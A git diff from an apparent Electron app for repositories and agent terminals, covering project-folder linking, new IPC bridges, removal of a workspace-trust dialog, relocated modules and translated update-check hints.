+  folderRemote: Pick<Repo, 'gitRemoteIdentity'>,
+  args: ProjectHostSetupExistingFolderArgs,
+  metadata: RepositoryMetadataOwner
+): Promise<Repo> {
+  const store = getStore()
+  if (!store) {
+    throw new Error('runtime_unavailable')
+  }
+  const currentRow = (): Repo => {
+    const repo = store
+      .getRepos()
+      .find(
+        (entry) =>
+          entry.id === initialRepo.id &&
+          getRepoExecutionHostId(entry) === getRepoExecutionHostId(initialRepo)
+      )
+    if (
+      getStore() !== store ||
+      !repo ||
+      repo.path !== initialRepo.path ||
+      repo.kind !== initialRepo.kind
+    ) {
+      throw new Error(`Project setup repo disappeared before it could be linked: ${initialRepo.id}`)
+    }
+    assertWslMoveHostSetupWritable(store, {
+      projectId: args.projectId,
+      hostId: getRepoExecutionHostId(repo),
+      repoId: repo.id
+    })
+    return repo
+  }
+  const project = store.getProjects?.().find((entry) => entry.id === args.projectId)
+  const provider = project?.providerIdentity ?? args.projectProviderIdentity
+  const selectedProvider =
+    provider && getProjectIdForProviderIdentity(provider) === args.projectId ? provider : undefined
+  let repo = currentRow()
+  // Legacy icon-only matches keep their existing acceptance without a new probe or stamp.
+  const legacyMatch =
+    getProjectIdentityKey(repo) === args.projectId &&
+    repo.repoIcon?.type === 'image' &&
+    repo.repoIcon.source === 'github' &&
+    !hasProjectRemoteIdentity({ gitRemoteIdentity: folderRemote.gitRemoteIdentity })
+  const needsEvidence = !!selectedProvider && repo.upstream === undefined && !legacyMatch
+  let metadataFinished = false
+  if (needsEvidence) {
+    metadataFinished = await metadata.resolveRepositoryMetadata(repo)
+    repo = currentRow()
+    folderRemote = await readCurrentGitRemoteIdentity({ ...repo, ...folderRemote })
+    repo = currentRow()
+  }
+  const updates: Partial<Repo> = {
+    projectHostSetupMethod: args.setupMethod ?? 'imported-existing-folder'
+  }
+  const keepsCurrentIdentity =
+    repo.upstream !== undefined && getProjectIdentityKey(repo) === args.projectId
+  if (needsEvidence && !keepsCurrentIdentity) {
+    updates.gitRemoteIdentity = folderRemote.gitRemoteIdentity
+  }
+  const candidate = { ...repo, ...updates }
+  const projectedId = getProjectIdentityKey(candidate)
+  if (
+    projectedId === args.projectId &&
+    needsEvidence &&
+    repo.upstream === undefined &&
+    selectedProvider
+  ) {
+    assertImportedFolderRemoteMatchesProject(folderRemote, selectedProvider)
+  }
+  if (projectedId !== args.projectId) {
+    Object.assign(
+      updates,
+      resolveImportedFolderProjectLink(
+        { ...candidate, ...folderRemote },
+        args.projectId,
+        selectedProvider
+      )
+    )
+  } else if (needsEvidence && repo.upstream === undefined) {
+    // This successful explicit origin choice is terminal; ordinary failed probes stay unknown.
+    updates.upstream = null
+  }
+  if (getProjectIdentityKey({ ...repo, ...updates }) !== args.projectId) {
+    throw new Error('Imported folder does not match the selected project identity.')
+  }
+  const updated = store.updateRepo(repo, updates)
+  if (!updated) {
+    throw new Error(`Project setup repo disappeared before it could be linked: ${repo.id}`)
+  }
+  if (getProjectIdentityKey(updated) !== args.projectId) {
+    throw new Error('Imported folder does not match the selected project identity.')
+  }
+  if (!needsEvidence || !metadataFinished) {
+    metadata.enqueueRepositoryMetadata([updated])
+  }
+  return updated
+}
diff --git a/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts b/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts
index 3e6cee6b328..97457fb3d2c 100644
--- a/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts
+++ b/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts
@@ -26,7 +26,7 @@ vi.mock('electron', () => ({
 }))
 vi.mock('./repo-git-remote-identity', () => ({ probeGitRemoteIdentity: vi.fn() }))
 vi.mock('../../github/client/fetch/repo-slug-upstream', () => ({
-  getRepoUpstream: vi.fn(async () => ({ owner: 'acme', repo: 'app' }))
+  probeRepoUpstream: vi.fn(async () => ({ upstream: { owner: 'acme', repo: 'app' }, origin: null }))
 }))
 vi.mock('../../repository-icons/repo-icon-autodetect', () => ({
   detectGitHubAvatarIcon: vi.fn(async () => null)
diff --git a/src/preload/api/ephemeral-vm-api.ts b/src/preload/api/ephemeral-vm-api.ts
index f1aca3ee2f6..0c01a8bf0b4 100644
--- a/src/preload/api/ephemeral-vm-api.ts
+++ b/src/preload/api/ephemeral-vm-api.ts
@@ -29,6 +29,8 @@ export type EphemeralVmApi = {
       diagnostics: NonNullable<OrcaHooks['environmentRecipeDiagnostics']>
     }[]
   >
+  /** Credential-like variable names (never values) recipe scripts would inherit from Orca. */
+  listCredentialEnvNames: () => Promise<string[]>
   doctor: (args: { repoId: string; recipeId: string }) => Promise<EphemeralVmRecipeDoctorResult>
   provision: (args: {
     repoId: string
diff --git a/src/preload/api/ephemeral-vm-bridge.ts b/src/preload/api/ephemeral-vm-bridge.ts
index 2eb8372bb79..dc1b4ea12c7 100644
--- a/src/preload/api/ephemeral-vm-bridge.ts
+++ b/src/preload/api/ephemeral-vm-bridge.ts
@@ -9,6 +9,7 @@ import {
 export const ephemeralVmApi = {
   listRecipes: (args) => ipcRenderer.invoke('ephemeralVm:listRecipes', args),
   listRecipeCatalog: () => ipcRenderer.invoke('ephemeralVm:listRecipeCatalog'),
+  listCredentialEnvNames: () => ipcRenderer.invoke('ephemeralVm:listCredentialEnvNames'),
   doctor: (args) => ipcRenderer.invoke('ephemeralVm:doctor', args),
   provision: (args) => ipcRenderer.invoke('ephemeralVm:provision', args),
   cancelProvision: (args) => ipcRenderer.invoke('ephemeralVm:cancelProvision', args),
diff --git a/src/preload/api/pty-api.ts b/src/preload/api/pty-api.ts
index 68e22c51ffc..7dba2b56a1b 100644
--- a/src/preload/api/pty-api.ts
+++ b/src/preload/api/pty-api.ts
@@ -79,8 +79,6 @@ export type PtyApi = {
     spawnIntent?: SpawnIntent
     // A restore no user act asked for; main holds it for a stopped WSL distro. Older mains ignore it.
     wslPassiveRestore?: true
-    // The user's "let agents ask" answer for this launch; older mains ignore it.
-    skipAgentWorkspaceTrust?: true
     agentLaunch?: AgentPaneLaunchRequest
     // Main emits agent_started only after a successful spawn.
     telemetry?: { agent_kind: AgentKind; launch_source: LaunchSource; request_kind: RequestKind }
diff --git a/src/preload/api/pty-bridge-session-control.ts b/src/preload/api/pty-bridge-session-control.ts
index b57e1593f61..685259339ec 100644
--- a/src/preload/api/pty-bridge-session-control.ts
+++ b/src/preload/api/pty-bridge-session-control.ts
@@ -66,8 +66,6 @@ export const ptySessionControlApi = {
     placement?: TerminalPanePlacement
     spawnIntent?: SpawnIntent
     wslPassiveRestore?: true
-    // The user's "let agents ask" answer for this launch; older mains ignore it.
-    skipAgentWorkspaceTrust?: true
     agentLaunch?: AgentPaneLaunchRequest
     telemetry?: { agent_kind: AgentKind; launch_source: LaunchSource; request_kind: RequestKind }
   }): Promise<{
diff --git a/src/preload/api/workspace-cleanup-api.ts b/src/preload/api/workspace-cleanup-api.ts
index a88023d8e48..84458b41907 100644
--- a/src/preload/api/workspace-cleanup-api.ts
+++ b/src/preload/api/workspace-cleanup-api.ts
@@ -55,6 +55,10 @@ export type WorkspaceSpaceApi = {
   ) => () => void
   requestWorktreeRefresh?: () => Promise<void>
   onWorktreeRefreshRequested?: (callback: () => void) => () => void
+  requestIssueRefresh?: (worktreeId: string, executionHostId?: ExecutionHostId) => Promise<void>
+  onIssueRefreshRequested?: (
+    callback: (worktreeId: string, executionHostId?: ExecutionHostId) => void
+  ) => () => void
   publishWindowAnalysis?: (analysis: WorkspaceSpaceAnalysis) => Promise<void>
   onWindowAnalysis?: (callback: (analysis: WorkspaceSpaceAnalysis) => void) => () => void
 }
diff --git a/src/preload/api/workspace-space-bridge.ts b/src/preload/api/workspace-space-bridge.ts
index cc222ec5bc1..cfab82ca3bd 100644
--- a/src/preload/api/workspace-space-bridge.ts
+++ b/src/preload/api/workspace-space-bridge.ts
@@ -21,6 +21,8 @@ export const workspaceSpaceApi = {
     change?: WorkspaceSpaceChange
   ) => ipcRenderer.invoke('workspaceSpace:revealWorktree', worktreeId, executionHostId, change),
   requestWorktreeRefresh: () => ipcRenderer.invoke('workspaceSpace:requestWorktreeRefresh'),
+  requestIssueRefresh: (worktreeId: string, executionHostId?: ExecutionHostId) =>
+    ipcRenderer.invoke('workspaceSpace:requestIssueRefresh', worktreeId, executionHostId),
   publishWindowAnalysis: (analysis: WorkspaceSpaceAnalysis) =>
     ipcRenderer.invoke('workspaceSpace:publishWindowAnalysis', analysis),
   onWindowAnalysis: (callback: (analysis: WorkspaceSpaceAnalysis) => void) => {
@@ -65,6 +67,17 @@ export const workspaceSpaceApi = {
     ipcRenderer.on('workspaceSpace:worktreeRefreshRequested', listener)
     return () => ipcRenderer.removeListener('workspaceSpace:worktreeRefreshRequested', listener)
   },
+  onIssueRefreshRequested: (
+    callback: (worktreeId: string, executionHostId?: ExecutionHostId) => void
+  ) => {
+    const listener = (
+      _event: Electron.IpcRendererEvent,
+      worktreeId: string,
+      executionHostId?: ExecutionHostId
+    ): void => callback(worktreeId, executionHostId)
+    ipcRenderer.on('workspaceSpace:issueRefreshRequested', listener)
+    return () => ipcRenderer.removeListener('workspaceSpace:issueRefreshRequested', listener)
+  },
   onProgress: (callback) => {
     const listener = (
       _event: Electron.IpcRendererEvent,
diff --git a/src/preload/api/worktree-api.ts b/src/preload/api/worktree-api.ts
index 845020f4a67..c2cb7654a05 100644
--- a/src/preload/api/worktree-api.ts
+++ b/src/preload/api/worktree-api.ts
@@ -1,3 +1,4 @@
+import type { WorkspaceMetadataSet } from '../../shared/worktree/workspace-metadata-set'
 import type { SparsePresetFailure } from '../../shared/worktree/sparse-preset-failure'
 import type {
   ForgetRemovedWorktreesForExecutionHostArgs,
@@ -157,6 +158,7 @@ export type WorktreeApi = {
   onHeadIdentitiesChanged: (
     callback: (data: { repoId: string; identities: WorktreeHeadIdentity[] }) => void
   ) => () => void
+  onMetadataSet?: (callback: (set: WorkspaceMetadataSet) => void) => () => void
   onBaseStatus: (callback: (data: WorktreeBaseStatusEvent) => void) => () => void
   onRemoteBranchConflict: (
     callback: (data: WorktreeRemoteBranchConflictEvent) => void
diff --git a/src/preload/api/worktrees-bridge.ts b/src/preload/api/worktrees-bridge.ts
index 7106dc7c4a3..9bbfb55fed1 100644
--- a/src/preload/api/worktrees-bridge.ts
+++ b/src/preload/api/worktrees-bridge.ts
@@ -9,6 +9,7 @@ import type {
   WorktreeHeadIdentity
 } from '../../shared/worktree/types'
 import type { PreloadApi } from '../api-types'
+import type { WorkspaceMetadataSet } from '../../shared/worktree/workspace-metadata-set'
 
 export const worktreesApi = {
   listRetiredNames: (args) => ipcRenderer.invoke('worktrees:listRetiredNames', args),
@@ -105,6 +106,12 @@ export const worktreesApi = {
     return () => ipcRenderer.removeListener('worktrees:headIdentitiesChanged', listener)
   },
 
+  onMetadataSet: (callback: (set: WorkspaceMetadataSet) => void): (() => void) => {
+    const listener = (_event: Electron.IpcRendererEvent, set: WorkspaceMetadataSet) => callback(set)
+    ipcRenderer.on('worktrees:metadataSet', listener)
+    return () => ipcRenderer.removeListener('worktrees:metadataSet', listener)
+  },
+
   onBaseStatus: (callback: (data: WorktreeBaseStatusEvent) => void): (() => void) => {
     const listener = (_event: Electron.IpcRendererEvent, data: WorktreeBaseStatusEvent) =>
       callback(data)
diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx
index 403dfb08d56..b4d2e3e3fec 100644
--- a/src/renderer/src/App.tsx
+++ b/src/renderer/src/App.tsx
@@ -11,7 +11,6 @@ import { SkillFreshnessNudge } from './components/skills/freshness/SkillFreshnes
 import PinnedTabCloseDialog from './components/terminal-pane/layout/close/PinnedTabCloseDialog'
 import RunningTerminalCloseDialog from './components/terminal-pane/layout/close/RunningTerminalCloseDialog'
 import WorktreeBaseFallbackDialog from './components/WorktreeBaseFallbackDialog'
-import AgentWorkspaceTrustDecisionDialog from './components/agent-workspace-trust/AgentWorkspaceTrustDecisionDialog'
 import ClaudeAccountSwitchDialog from './components/ClaudeAccountSwitchDialog'
 import { useUnreadDockBadge } from './hooks/useUnreadDockBadge'
 import { AppBackgroundServices } from './app-shell/AppBackgroundServices'
@@ -128,7 +127,6 @@ function App(): React.JSX.Element {
       </TooltipProvider>
       <SkillFreshnessNudge />
       <WorktreeBaseFallbackDialog />
-      <AgentWorkspaceTrustDecisionDialog />
       <ClaudeAccountSwitchDialog />
       <PinnedTabCloseDialog />
       <RunningTerminalCloseDialog />
diff --git a/src/renderer/src/app-shell/AppWorkspaceShell.tsx b/src/renderer/src/app-shell/AppWorkspaceShell.tsx
index 2e038a6e551..4a54bbfedc4 100644
--- a/src/renderer/src/app-shell/AppWorkspaceShell.tsx
+++ b/src/renderer/src/app-shell/AppWorkspaceShell.tsx
@@ -4,7 +4,7 @@ import { useTranslate } from '@/i18n/use-translate'
 import { useAppStore } from '@/store/index'
 import { usePluginViewCaptureStore } from '@/store/plugins/capture/plugin-view-capture'
 import { pendingCreationOpensNativeChat } from '@/lib/workspace/creation/pending-worktree-creation'
-import { showsFloatingRightSidebarToggle } from '@/lib/right-sidebar-visibility'
+import { showsFloatingRightSidebarToggle } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
 import Sidebar from '../components/Sidebar'
 import RightSidebar from '../components/right-sidebar/index'
 import { RecoverableRenderErrorBoundary } from '../components/error-boundaries/RecoverableRenderErrorBoundary'
diff --git a/src/renderer/src/app-shell/TitlebarLeftControls.tsx b/src/renderer/src/app-shell/TitlebarLeftControls.tsx
index 368782096ad..0213a23351b 100644
--- a/src/renderer/src/app-shell/TitlebarLeftControls.tsx
+++ b/src/renderer/src/app-shell/TitlebarLeftControls.tsx
@@ -8,13 +8,13 @@ import {
   ContextMenuItem,
   ContextMenuTrigger
 } from '@/components/ui/context-menu'
-import { shouldShowWorktreeHistoryControls } from '../lib/titlebar-worktree-history-controls'
+import { shouldShowWorktreeHistoryControls } from './chrome/titlebar-worktree-history-controls'
 import {
   canGoBackWorktreeHistory,
   canGoForwardWorktreeHistory
 } from '@/store/slices/ui/workspace-navigation-history'
 import { useShortcutLabel } from '../hooks/useShortcutLabel'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import { hasCustomTitleBar, hasMacTrafficLights } from './app-window-chrome'
 import type { AppChromeLayout } from './use-app-chrome-layout'
 
diff --git a/src/renderer/src/app-shell/app-command-handlers-tab-rename.test.ts b/src/renderer/src/app-shell/app-command-handlers-tab-rename.test.ts
deleted file mode 100644
index 566ec19a254..00000000000
--- a/src/renderer/src/app-shell/app-command-handlers-tab-rename.test.ts
+++ /dev/null
@@ -1,134 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Tab, TabGroup } from '../../../shared/tab-types'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { AppState } from '@/store/types'
-import { createTabsFocusActions } from '../store/slices/tabs/tabs-focus-actions'
-import type { TabsSliceGet, TabsSliceSet } from '../store/slices/tabs/tabs-slice-contract'
-import { buildActiveSurfacePatch } from '../store/slices/tabs/tabs-surface'
-
-const mocks = vi.hoisted(() => ({
-  requestTerminalTabRename: vi.fn(),
-  store: {} as AppState
-}))
-
-vi.mock('../store', () => ({
-  useAppStore: Object.assign(vi.fn(), { getState: () => mocks.store })
-}))
-
-vi.mock('../components/tab-bar/terminal-tab-rename-request', () => ({
-  requestTerminalTabRename: mocks.requestTerminalTabRename
-}))
-
-vi.mock('@/components/floating-terminal/floating-workspace-terminal-actions', () => ({
-  isFloatingWorkspacePanelFocused: () => false
-}))
-
-vi.mock('@/lib/terminal-shortcut-capture-notification', () => ({
-  showTerminalShortcutCaptureNotification: vi.fn()
-}))
-
-import {
-  type AppShortcutState,
-  type ShortcutDispatchInput,
-  createAppCommandHandlers
-} from './app-command-handlers'
-
-const WORKTREE_ID = 'repo::/feature'
-const GROUP_ID = 'group-1'
-const TERMINAL_ENTITY_ID = 'terminal-1'
-const TERMINAL_UNIFIED_ID = 'unified-terminal'
-const CHAT_UNIFIED_ID = 'unified-chat'
-
-function unifiedTab(overrides: Partial<Tab> & Pick<Tab, 'id' | 'entityId' | 'contentType'>): Tab {
-  return {
-    groupId: GROUP_ID,
-    worktreeId: WORKTREE_ID,
-    label: overrides.id,
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0,
-    ...overrides
-  }
-}
-
-/** Derive active surfaces as the real store does: structured-chat focus leaves activeTabId on the last terminal. Stubbing it would hide the rename defect. */
-function storeForActiveTab(activeGroupTabId: string): AppState {
-  const groups: TabGroup[] = [
-    {
-      id: GROUP_ID,
-      worktreeId: WORKTREE_ID,
-      activeTabId: activeGroupTabId,
-      tabOrder: [TERMINAL_UNIFIED_ID, CHAT_UNIFIED_ID]
-    }
-  ]
-  const rawState = {
-    activeBrowserTabIdByWorktree: {},
-    activeFileIdByWorktree: {},
-    activeGroupIdByWorktree: { [WORKTREE_ID]: GROUP_ID },
-    // The user focused this terminal before switching to the structured tab.
-    activeTabIdByWorktree: { [WORKTREE_ID]: TERMINAL_ENTITY_ID },
-    activeTabTypeByWorktree: {},
-    browserTabsByWorktree: {},
-    groupsByWorktree: { [WORKTREE_ID]: groups },
-    layoutByWorktree: {},
-    openFiles: [],
-    tabsByWorktree: {
-      [WORKTREE_ID]: [{ id: TERMINAL_ENTITY_ID, worktreeId: WORKTREE_ID } as TerminalTab]
-    },
-    unifiedTabsByWorktree: {
-      [WORKTREE_ID]: [
-        unifiedTab({
-          id: TERMINAL_UNIFIED_ID,
-          entityId: TERMINAL_ENTITY_ID,
-          contentType: 'terminal'
-        }),
-        unifiedTab({ id: CHAT_UNIFIED_ID, entityId: 'session-1', contentType: 'agent-session' })
-      ]
-    }
-  } as unknown as AppState
-  const store = {
-    ...rawState,
-    ...buildActiveSurfacePatch(rawState, WORKTREE_ID)
-  } as AppState
-  const noopSet = (() => {}) as unknown as TabsSliceSet
-  store.getActiveTab = createTabsFocusActions(noopSet, (() => store) as TabsSliceGet).getActiveTab
-  return store
-}
-
-function shortcutState(): AppShortcutState {
-  return {
-    activeView: 'terminal',
-    activeWorktreeId: WORKTREE_ID,
-    actions: {} as AppShortcutState['actions'],
-    creationLayoutActive: false,
-    floatingTerminalEnabled: false,
-    floatingTerminalOpen: false,
-    floatingVisibleTabCount: 0,
-    keybindings: {},
-    openFloatingWorkspaceMaximized: vi.fn(),
-    pluginCommands: [],
-    setFloatingTerminalOpen: vi.fn(),
-    terminalShortcutPolicy: 'orca-first',
-    workspaceChromeActive: true
-  }
-}
-
-function shortcutInput(): ShortcutDispatchInput {
-  return { target: null, defaultPrevented: false, preventDefault: vi.fn() }
-}
-
-function runRename(state: AppShortcutState = shortcutState()): boolean | undefined {
-  return createAppCommandHandlers(state, shortcutInput(), 'terminal').get('tab.rename')?.()
-}
-
-describe('tab.rename shortcut', () => {
-  beforeEach(() => vi.clearAllMocks())
-
-  it('renames the structured chat tab, not the stale background terminal', () => {
-    mocks.store = storeForActiveTab(CHAT_UNIFIED_ID)
-    expect(runRename()).toBe(true)
-    expect(mocks.requestTerminalTabRename).toHaveBeenCalledWith(CHAT_UNIFIED_ID)
-    expect(mocks.requestTerminalTabRename).not.toHaveBeenCalledWith(TERMINAL_ENTITY_ID)
-  })
-})
diff --git a/src/renderer/src/app-shell/app-command-handlers.ts b/src/renderer/src/app-shell/app-command-handlers.ts
index 22807ffc08f..5761fd34574 100644
--- a/src/renderer/src/app-shell/app-command-handlers.ts
+++ b/src/renderer/src/app-shell/app-command-handlers.ts
@@ -1,11 +1,11 @@
-import { canShowRightSidebarForView, canToggleRightSidebar } from '@/lib/right-sidebar-visibility'
-import { runBuiltInOrReplacement } from '@/lib/plugin-command-replacements'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
+import { runBuiltInOrReplacement } from '@/lib/plugins/commands/plugin-command-replacements'
 import { isFloatingWorkspacePanelFocused } from '@/components/floating-terminal/floating-workspace-terminal-actions'
 import { hasVisibleOverlay } from '@/lib/visible-overlay'
-import { requestScrollToCurrentWorkspaceRevealAndRename } from '@/lib/scroll-to-current-workspace-status'
+import { requestScrollToCurrentWorkspaceRevealAndRename } from '@/lib/workspace/navigation/scroll-to-current-workspace-status'
 import { requestVirtualizedScrollAnchorRecord } from '@/hooks/requestVirtualizedScrollAnchorRecord'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
-import { shouldShowWorktreeHistoryControls } from '../lib/titlebar-worktree-history-controls'
+import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification'
+import { shouldShowWorktreeHistoryControls } from './chrome/titlebar-worktree-history-controls'
 import { TOGGLE_WORKSPACE_BOARD_EVENT } from '../components/sidebar/workspace-board/surface/useWorkspaceBoardPanel'
 import {
   getRenderedLineageChipKeys,
@@ -13,9 +13,9 @@ import {
 } from '../components/sidebar/workspace-card/identity/child-workspaces-toggle-target'
 import { requestTerminalTabRename } from '../components/tab-bar/terminal-tab-rename-request'
 import {
-  deleteHoveredWorkspaceImmediately,
-  resolveHoveredWorkspaceDeleteTarget
-} from '../components/sidebar/workspace-actions/deletion/hovered-workspace-delete'
+  deleteActiveWorkspaceFromShortcut,
+  resolveActiveWorkspaceDeleteTarget
+} from '../components/sidebar/workspace-actions/deletion/active-workspace-delete'
 import { useAppStore } from '../store/index'
 import type { usePluginCommands } from '@/store/plugins/catalog/plugin-contribution-catalog'
 import { isGitRepoKind } from '../../../shared/repo-kind'
@@ -230,12 +230,12 @@ export function createAppCommandHandlers(
           return false
         }
         const store = useAppStore.getState()
-        const target = resolveHoveredWorkspaceDeleteTarget(store)
+        const target = resolveActiveWorkspaceDeleteTarget(store)
         if (!target) {
           return false
         }
         return claim('workspace.delete', () => {
-          deleteHoveredWorkspaceImmediately(store, target)
+          deleteActiveWorkspaceFromShortcut(store, target)
         })
       }
     ],
@@ -270,7 +270,7 @@ export function createAppCommandHandlers(
     [
       'sidebar.right.toggle',
       () =>
-        canToggleRightSidebar(activeView)
+        canShowRightSidebarForView(activeView)
           ? claim('sidebar.right.toggle', () => actions.toggleRightSidebar())
           : false
     ],
diff --git a/src/renderer/src/app-shell/app-window-chrome.ts b/src/renderer/src/app-shell/app-window-chrome.ts
index 9cba84dee1b..16038d5c244 100644
--- a/src/renderer/src/app-shell/app-window-chrome.ts
+++ b/src/renderer/src/app-shell/app-window-chrome.ts
@@ -1,7 +1,7 @@
 import {
   isPairedWebClientWindow,
   shouldRenderDesktopWindowChrome
-} from '@/lib/desktop-window-chrome'
+} from '@/app-shell/chrome/desktop-window-chrome'
 
 export const isMac = navigator.userAgent.includes('Mac')
 const isWindows = !isMac && navigator.userAgent.includes('Windows')
diff --git a/src/renderer/src/app-shell/appearance/terminal-app-theme.ts b/src/renderer/src/app-shell/appearance/terminal-app-theme.ts
index 32dc7c0e44a..b638a1dc940 100644
--- a/src/renderer/src/app-shell/appearance/terminal-app-theme.ts
+++ b/src/renderer/src/app-shell/appearance/terminal-app-theme.ts
@@ -1,31 +1,22 @@
-import type { ITheme } from '@xterm/xterm'
-import type { GlobalSettings } from '../../../../shared/global-settings-types'
-import {
-  completePluginAppThemeTokens,
-  type PluginThemeTokenColorRule
-} from '../../../../shared/plugins/artifacts/plugin-theme-artifact'
+import { completePluginAppThemeTokens } from '../../../../shared/plugins/artifacts/plugin-theme-artifact'
+import type { PluginThemeTokenColorRule } from '../../../../shared/plugins/artifacts/plugin-theme-artifact'
 import { pluginAppThemeCssFallback } from '../../../../shared/plugins/artifacts/plugin-theme-css-fallbacks'
 import { MATCH_TERMINAL_APP_THEME } from '../../../../shared/plugin-theme-settings'
-import {
-  resolveTerminalPalette,
-  type TerminalPaletteSettings as TerminalAppThemeSettings
-} from '../../../../shared/terminal-themes/terminal-theme-selection'
-import type { AppThemePaint } from './document-theme'
+import { resolveTerminalPalette } from '../../../../shared/terminal-themes/terminal-theme-selection'
+import type { TerminalPaletteSettings as TerminalAppThemeSettings } from '../../../../shared/terminal-themes/terminal-theme-selection'
 import { hashThemeContent } from '../../lib/editor/appearance/plugin-monaco-theme'
-import type { ColorProbe } from './plugin-theme-tokens'
-import {
-  contrastRatio,
-  mix,
-  readableOn,
-  rgbaToHex,
-  type Rgba
-} from '../../../../shared/color/rgba-contrast'
-import { getSystemPrefersDark } from '../../lib/terminal-theme'
+import { contrastRatio, mix, readableOn, rgbaToHex } from '../../../../shared/color/rgba-contrast'
+import type { Rgba } from '../../../../shared/color/rgba-contrast'
+import { getSystemPrefersDark } from '../../lib/terminal/appearance/terminal-theme'
 import {
   isTerminalBackgroundLight,
   resolveOpaqueTerminalBackground
 } from '../../../../shared/terminal-themes/terminal-title-contrast'
 import { terminalPaletteRgba } from '../../../../shared/terminal-themes/terminal-palette-rgba'
+import type { ITheme } from '@xterm/xterm'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type { AppThemePaint } from './document-theme'
+import type { ColorProbe } from './plugin-theme-tokens'
 
 export type TerminalAppTheme = AppThemePaint & {
   id: typeof MATCH_TERMINAL_APP_THEME
diff --git a/src/renderer/src/lib/desktop-window-chrome.ts b/src/renderer/src/app-shell/chrome/desktop-window-chrome.ts
similarity index 100%
rename from src/renderer/src/lib/desktop-window-chrome.ts
rename to src/renderer/src/app-shell/chrome/desktop-window-chrome.ts
diff --git a/src/renderer/src/lib/titlebar-left-chrome.ts b/src/renderer/src/app-shell/chrome/titlebar-left-chrome.ts
similarity index 100%
rename from src/renderer/src/lib/titlebar-left-chrome.ts
rename to src/renderer/src/app-shell/chrome/titlebar-left-chrome.ts
diff --git a/src/renderer/src/lib/titlebar-worktree-history-controls.ts b/src/renderer/src/app-shell/chrome/titlebar-worktree-history-controls.ts
similarity index 100%
rename from src/renderer/src/lib/titlebar-worktree-history-controls.ts
rename to src/renderer/src/app-shell/chrome/titlebar-worktree-history-controls.ts
diff --git a/src/renderer/src/lib/ui-zoom.ts b/src/renderer/src/app-shell/chrome/ui-zoom.ts
similarity index 94%
rename from src/renderer/src/lib/ui-zoom.ts
rename to src/renderer/src/app-shell/chrome/ui-zoom.ts
index 654e4476c39..d12e09fc1e0 100644
--- a/src/renderer/src/lib/ui-zoom.ts
+++ b/src/renderer/src/app-shell/chrome/ui-zoom.ts
@@ -1,4 +1,4 @@
-import { uiZoomFactorFromLevel } from '../../../shared/ui-zoom-level'
+import { uiZoomFactorFromLevel } from '../../../../shared/ui-zoom-level'
 
 const isMac = navigator.userAgent.includes('Mac')
 
diff --git a/src/renderer/src/lib/zoom-events.ts b/src/renderer/src/app-shell/chrome/zoom-events.ts
similarity index 100%
rename from src/renderer/src/lib/zoom-events.ts
rename to src/renderer/src/app-shell/chrome/zoom-events.ts
diff --git a/src/renderer/src/app-shell/platform/paired-web-client-host.ts b/src/renderer/src/app-shell/platform/paired-web-client-host.ts
index af617064ec0..3a05d6b673c 100644
--- a/src/renderer/src/app-shell/platform/paired-web-client-host.ts
+++ b/src/renderer/src/app-shell/platform/paired-web-client-host.ts
@@ -3,7 +3,7 @@ import {
   toRuntimeExecutionHostId,
   type ExecutionHostId
 } from '../../../../shared/execution-host'
-import { isPairedWebClientWindow } from '../../lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '../chrome/desktop-window-chrome'
 
 type HostRouteState = { runtimeEnvironments?: readonly { id: string }[] }
 
diff --git a/src/renderer/src/app-shell/plugin-settings-shortcut-handler.ts b/src/renderer/src/app-shell/plugin-settings-shortcut-handler.ts
index 6892d4d237a..27b4a41b13d 100644
--- a/src/renderer/src/app-shell/plugin-settings-shortcut-handler.ts
+++ b/src/renderer/src/app-shell/plugin-settings-shortcut-handler.ts
@@ -1,4 +1,4 @@
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { isEditableTarget, isNativeChatPromptTarget } from '@/lib/text-input/focus/editable-target'
 
 export function createPluginsSettingsShortcutHandler(
diff --git a/src/renderer/src/lib/indexeddb-connection.ts b/src/renderer/src/app-shell/storage/indexeddb-connection.ts
similarity index 100%
rename from src/renderer/src/lib/indexeddb-connection.ts
rename to src/renderer/src/app-shell/storage/indexeddb-connection.ts
diff --git a/src/renderer/src/app-shell/updates/update-check-click-options.ts b/src/renderer/src/app-shell/updates/update-check-click-options.ts
index 282e004346b..a8fbca696dc 100644
--- a/src/renderer/src/app-shell/updates/update-check-click-options.ts
+++ b/src/renderer/src/app-shell/updates/update-check-click-options.ts
@@ -1,4 +1,5 @@
 import type { UpdateCheckOptions } from '../../../../shared/update-status-types'
+import { translate } from '@/i18n/i18n'
 import { getShortcutPlatform } from '../../lib/keyboard/shortcut-platform'
 
 type UpdateCheckClickEvent = Pick<MouseEvent, 'altKey' | 'ctrlKey' | 'metaKey' | 'shiftKey'>
@@ -8,10 +9,17 @@ function isMacShortcutPlatform(): boolean {
 }
 
 export function getUpdateCheckHint(isMac = isMacShortcutPlatform()): string {
-  const rcClickLabel = isMac ? '⇧+click' : 'Shift+click'
-  const perfClickLabel = isMac ? '⌘+click' : 'Ctrl+click'
-  const releaseHints = `${rcClickLabel} checks the latest RC; ${perfClickLabel} checks the latest perf build.`
-  return isMac ? `${releaseHints} ⌥+click chooses a local macOS build.` : releaseHints
+  const releaseHints = translate(
+    'auto.lib.updateCheckClickOptions.releaseHint',
+    '{{rcKey}}+click checks the latest RC; {{perfKey}}+click checks the latest perf build.',
+    { rcKey: isMac ? '⇧' : 'Shift', perfKey: isMac ? '⌘' : 'Ctrl' }
+  )
+  return isMac
+    ? `${releaseHints} ${translate(
+        'auto.lib.updateCheckClickOptions.localMacBuildHint',
+        '⌥+click chooses a local macOS build.'
+      )}`
+    : releaseHints
 }
 
